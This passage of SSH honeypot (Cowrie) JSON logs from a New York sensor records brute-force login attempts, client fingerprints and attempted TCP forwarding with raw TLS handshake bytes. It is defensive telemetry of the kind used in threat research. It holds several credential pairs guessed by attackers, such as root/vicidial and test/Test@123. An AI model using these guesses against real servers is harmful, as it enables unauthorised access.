\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 +\\x0e\\x0e\\x02\\x9a\\x81$}\\xf1\\x84\\xbc\\xb7l\\r\\xda}\\x8f\\xd5d\\x87ezJ\\xd1\\xd0\\x1a\\x8f\\xce\\xc7`YI\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:55.197500Z","src_ip":"123.27.168.40","session":"74df04b3a5b8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:55.451041Z","session":"74df04b3a5b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:55.691329Z","src_ip":"45.153.34.195","session":"dcb0cdab9b97","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:55.699428Z","src_ip":"123.27.168.40","session":"74df04b3a5b8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1c\\xcd\\xbb\\xff\\xaf\\xe9N\\xd89\\x91\\x1a*\\xb7h(\\x15\\x04\\xb7+\\xec\\xff3=v\\x9c#.;\\xc5Z/4 J\\x96\\x1a\\xec,& \\xb5\\x15i?\\xb1\\xba;\\x841\\x97\\xd4te!h\\x04\\x91?\\x9f\\xb2\\xaesq\\xd9Z\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 z8\\xb9\\x1a\\xc9r\\x170\\xb1F\\xfeC\\xd3\\x10\\x0f\\xfc\\xe6\\x9b\\x16\\x99\\x07\\xff<.\\xa45E]\\xce\\x07\\xf3\\\\\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1c\\xcd\\xbb\\xff\\xaf\\xe9N\\xd89\\x91\\x1a*\\xb7h(\\x15\\x04\\xb7+\\xec\\xff3=v\\x9c#.;\\xc5Z/4 J\\x96\\x1a\\xec,& \\xb5\\x15i?\\xb1\\xba;\\x841\\x97\\xd4te!h\\x04\\x91?\\x9f\\xb2\\xaesq\\xd9Z\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 z8\\xb9\\x1a\\xc9r\\x170\\xb1F\\xfeC\\xd3\\x10\\x0f\\xfc\\xe6\\x9b\\x16\\x99\\x07\\xff<.\\xa45E]\\xce\\x07\\xf3\\\\\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:55.702937Z","src_ip":"123.27.168.40","session":"74df04b3a5b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:56.069220Z","src_ip":"123.27.168.40","session":"74df04b3a5b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":18958,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4083623743b","protocol":"ssh","message":"New connection: 91.92.40.36:18958 (159.203.135.109:22) [session: e4083623743b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:56.862046Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":23948,"dst_ip":"10.17.0.5","dst_port":22,"session":"244d76e05bab","protocol":"ssh","message":"New connection: 45.153.34.195:23948 (10.17.0.5:22) [session: 244d76e05bab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:57.051754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:57.110172Z","src_ip":"45.153.34.195","session":"244d76e05bab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:57.210770Z","src_ip":"45.153.34.195","session":"244d76e05bab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web","password":"web123","message":"login attempt [web/web123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:57.642191Z","src_ip":"45.153.34.195","session":"244d76e05bab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.4","message":"Connection lost after 10.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:57.939795Z","src_ip":"91.92.40.36","session":"ac987c62992d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:58.431926Z","src_ip":"91.92.40.36","session":"e4083623743b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:58.435579Z","src_ip":"91.92.40.36","session":"e4083623743b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:58.760528Z","src_ip":"45.153.34.195","session":"244d76e05bab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":23950,"dst_ip":"10.17.0.5","dst_port":22,"session":"81258788c4a8","protocol":"ssh","message":"New connection: 45.153.34.195:23950 (10.17.0.5:22) [session: 81258788c4a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:59.904940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:59.915714Z","src_ip":"45.153.34.195","session":"81258788c4a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:00.118571Z","src_ip":"45.153.34.195","session":"81258788c4a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vicidial","message":"login attempt [root/vicidial] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:00.568387Z","src_ip":"45.153.34.195","session":"81258788c4a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chw","password":"chw","message":"login attempt [chw/chw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:01.383326Z","src_ip":"91.92.40.36","session":"801bf21b81ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:01.654305Z","src_ip":"45.153.34.195","session":"81258788c4a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":43860,"dst_ip":"10.17.0.5","dst_port":22,"session":"200cbbd7ca28","protocol":"ssh","message":"New connection: 45.153.34.195:43860 (10.17.0.5:22) [session: 200cbbd7ca28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:02.883020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:02.887719Z","src_ip":"45.153.34.195","session":"200cbbd7ca28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:02.968614Z","src_ip":"45.153.34.195","session":"200cbbd7ca28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":19016,"dst_ip":"159.203.135.109","dst_port":22,"session":"0028a43917fd","protocol":"ssh","message":"New connection: 91.92.40.36:19016 (159.203.135.109:22) [session: 0028a43917fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:03.250436Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"Test@123","message":"login attempt [test/Test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:03.405486Z","src_ip":"45.153.34.195","session":"200cbbd7ca28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.1","message":"Connection lost after 12.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:04.225407Z","src_ip":"91.92.40.36","session":"801bf21b81ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:04.489425Z","src_ip":"45.153.34.195","session":"200cbbd7ca28","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:04.716198Z","src_ip":"91.92.40.36","session":"0028a43917fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 